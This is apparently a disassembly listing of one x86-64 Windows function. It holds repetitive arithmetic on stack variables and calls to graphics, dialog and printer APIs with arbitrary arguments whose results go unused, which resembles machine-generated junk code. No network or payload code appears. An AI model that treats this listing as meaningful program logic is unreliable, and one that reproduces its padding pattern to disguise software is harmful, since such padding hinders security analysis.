mov qword [rcx], rax
mov rax, qword [rsp + 0x7ab8]
mov ecx, dword [rsp + 0x3c14]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x37ac], eax
movsx eax, word [rsp + 0x1200]
movsx ecx, word [0x140127288]
add eax, ecx
mov word [rsp + 0x1314], ax
mov rax, qword [rsp + 0x7a78]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1314]
sub eax, ecx
mov rcx, qword [0x140127268]
mov word [rcx], ax
mov rax, qword [rsp + 0x7b58]
mov rcx, qword [rsp + 0x79f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7a50], rax
movsx eax, byte [rsp + 0x8b]
movsx ecx, byte [rsp + 0x2a4]
shl eax, cl
mov byte [rsp + 0x14e], al
mov rax, qword [rsp + 0x7aa0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7980]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x9d4], ax
mov rax, qword [rsp + 0x7aa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7a28]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7aa8]
mov byte [rcx], al
call fcn.140103580
movzx eax, byte [rsp + 0x2a0]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2a5], al
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1378]
add eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1314]
mov rcx, qword [rsp + 0x7a78]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401203b4], ax
mov rax, qword [rsp + 0x7ab0]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x79d0]
movzx ecx, byte [rax]
call fcn.140103460
mov rax, qword [rsp + 0x7360]
mov rcx, qword [rsp + 0x7988]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6040], rax
jmp 0x140102cbc
mov rax, qword [rsp + 0x7a88]
mov rcx, qword [rsp + 0x79a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3c34], eax
movzx eax, word [rsp + 0x136c]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1350], ax
mov eax, dword [rsp + 0x3c14]
mov rcx, qword [0x140127278]
mov qword [rsp + 0x136b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x136b8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x140127278]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a7]
sar eax, cl
mov byte [rsp + 0x2a2], al
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x7a50]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6040], rax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x68e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov dword [rsp + 0x20], 0x55
mov r9, qword [rsp + 0x7e78]
mov r8d, 0x24
mov edx, 0xe8
mov rcx, qword [rsp + 0x7b10]
call qword [sym.imp.GDI32.dll_TextOutW]
mov dword [rsp + 0x3cd0], eax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10b0]
add eax, ecx
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x7a80]
mov rcx, qword [rsp + 0x7ac0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7a80]
mov qword [rcx], rax
movzx ecx, byte [rsp + 0x2a7]
call fcn.140103550
mov eax, dword [rsp + 0x3c00]
mov dword [rsp + 0x3c94], eax
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1364]
sar eax, cl
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
mov r9d, 0xa0
lea r8, [rsp + 0x147f0]
lea rdx, [rsp + 0x6ae8]
mov rcx, qword [rsp + 0x7b08]
call qword [sym.imp.GDI32.dll_PolyPolyline]
mov dword [rsp + 0x3d3c], eax
mov rax, qword [rsp + 0x7a58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a7]
shl eax, cl
mov byte [rsp + 0x1ba], al
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a2]
add eax, ecx
mov byte [0x140120038], al
mov r9d, 0x5a
lea r8, [rsp + 0x7c20]
lea rdx, [rsp + 0x148e0]
mov rcx, qword [rsp + 0x7ad0]
call qword [sym.imp.GDI32.dll_PolyPolyline]
mov dword [rsp + 0x3c1c], eax
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x1314]
add eax, ecx
mov word [rsp + 0x1294], ax
mov rax, qword [0x1401203b8]
movzx ecx, al
mov rax, qword [rsp + 0x68e8]
shl rax, cl
mov rcx, qword [rsp + 0x79f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7988]
mov rcx, qword [rsp + 0x6040]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a00], rax
mov rax, qword [rsp + 0x7990]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9d4]
sar eax, cl
mov word [rsp + 0x1294], ax
jmp 0x140102ee8
mov eax, dword [rsp + 0x3c20]
mov ecx, dword [rsp + 0x3be8]
sub ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x3c14]
mov edx, dword [rsp + 0x37ac]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x140102ee8
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1364]
add eax, ecx
mov word [rsp + 0x135c], ax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7ab0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140120038], al
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1350]
add eax, ecx
mov word [rsp + 0x1368], ax
mov r8d, 0xd
lea rdx, [rsp + 0x3c34]
mov rcx, qword [rsp + 0x7b08]
call qword [sym.imp.GDI32.dll_PolyBezierTo]
mov dword [rsp + 0x3dbc], eax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2a5]
sub eax, ecx
mov rcx, qword [rsp + 0x7a58]
mov byte [rcx], al
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7988]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7360], rax
mov rax, qword [rsp + 0x79f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7988], rax
movsx eax, word [0x1401203b4]
movsx ecx, word [rsp + 0x1314]
or eax, ecx
mov word [rsp + 0x134c], ax
lea r9, [rsp + 0x147f0]
mov r8d, 0x4f
mov edx, 0x8c
mov rcx, qword [rsp + 0x7bb0]
call qword [sym.imp.GDI32.dll_SetBrushOrgEx]
mov dword [rsp + 0x3c28], eax
mov rax, qword [rsp + 0x7a28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2a3]
shl eax, cl
mov rcx, qword [rsp + 0x7aa8]
mov byte [rcx], al
mov rax, qword [rsp + 0x79d0]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x1ba]
call fcn.140103460
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a80]
mov qword [rsp + 0x136c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x136c0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x7968], rax
mov rax, qword [rsp + 0x7978]
mov rcx, qword [rsp + 0x79a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3c34], eax
mov eax, dword [rsp + 0x3c14]
mov ecx, dword [0x140120398]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x79d0]
movzx edx, byte [rax]
movzx ecx, byte [rsp + 0x2a0]
call fcn.140103460
movzx eax, word [rsp + 0x1364]
mov rcx, qword [rsp + 0x79f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401203b0], ax
movzx eax, word [rsp + 0x1348]
movzx ecx, word [rsp + 0x1350]
add eax, ecx
mov word [rsp + 0x1368], ax
mov rax, qword [rsp + 0x7980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7990]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x134c], ax
lea rcx, [rsp + 0x148e0]
call qword [sym.imp.COMDLG32.dll_ReplaceTextW]
mov qword [rsp + 0x7af8], rax
mov rax, qword [rsp + 0x79b0]
mov ecx, dword [rsp + 0x3c20]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x79b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7998]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a80]
mov qword [rsp + 0x136c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x136c8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x79c0], rax
mov rax, qword [rsp + 0x7978]
mov rcx, qword [rsp + 0x79a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3c3c], eax
movsx eax, word [rsp + 0x134c]
movsx ecx, word [rsp + 0x1200]
sub eax, ecx
mov rcx, qword [rsp + 0x7a78]
mov word [rcx], ax
mov rax, qword [rsp + 0x7a58]
movzx ecx, byte [rax]
call fcn.140103550
mov rax, qword [rsp + 0x7ab0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x79d0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1ba], al
mov rax, qword [rsp + 0x79f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1368]
add eax, ecx
mov word [rsp + 0x1350], ax
mov rax, qword [rsp + 0x79f8]
mov rcx, qword [rsp + 0x68e8]
mov rax, qword [rax]
add rax, rcx
mov qword [0x1401203b8], rax
movzx eax, word [rsp + 0x10b0]
movzx ecx, word [rsp + 0x1368]
sar eax, cl
mov rcx, qword [rsp + 0x79f0]
mov word [rcx], ax
lea rcx, [rsp + 0x147f0]
call qword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [rsp + 0x3c28], eax
call fcn.140103400
movzx eax, byte [rsp + 0x1ba]
mov rcx, qword [rsp + 0x7a58]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2a2], al
jmp 0x140103254
mov rax, qword [0x140120390]
mov rcx, qword [rsp + 0x75f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7968], rax
movzx eax, word [rsp + 0x1348]
sub eax, 0x940
mov word [rsp + 0x10b0], ax
movzx eax, word [rsp + 0x10b0]
and eax, 0xe95
mov word [rsp + 0x1348], ax
lea rcx, [rsp + 0x14b30]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgW]
mov dword [rsp + 0x3cd0], eax
mov rax, qword [rsp + 0x7968]
mov rcx, qword [rsp + 0x75f0]
add rcx, rax
mov rax, rcx
mov qword [0x140120390], rax
lea rcx, [rsp + 0x14bb0]
call qword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [rsp + 0x3d2c], eax
movsx eax, byte [rsp + 0x29f]
movsx ecx, byte [0x14012728b]
and eax, ecx
mov byte [rsp + 0x29e], al
movzx eax, word [rsp + 0x1348]
add eax, 0xe35
mov word [rsp + 0x10b0], ax
mov eax, dword [rsp + 0x37ac]
sub eax, 0xc36
mov dword [rsp + 0x3be8], eax
mov eax, dword [rsp + 0x3c04]
sub eax, 0xb1f2
mov dword [rsp + 0x3c00], eax
call fcn.140103400
mov rax, qword [0x140120390]
mov rcx, qword [rsp + 0x7968]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x75f0], rax
movzx eax, word [rsp + 0x10b0]
add eax, 0x52
mov word [rsp + 0x1348], ax
movzx eax, word [rsp + 0x1348]
sub eax, 0xeaa
mov word [rsp + 0x10b0], ax
mov rcx, qword [rsp + 0x7c20]
call sub.WINSPOOL.DRV_AbortPrinter
mov dword [rsp + 0x3c28], eax
mov rdx, qword [rsp + 0x7968]
mov cl, 0x97
call fcn.1401034a0
mov eax, dword [rsp + 0x33a4]
add rsp, 0x15090
pop rdi
ret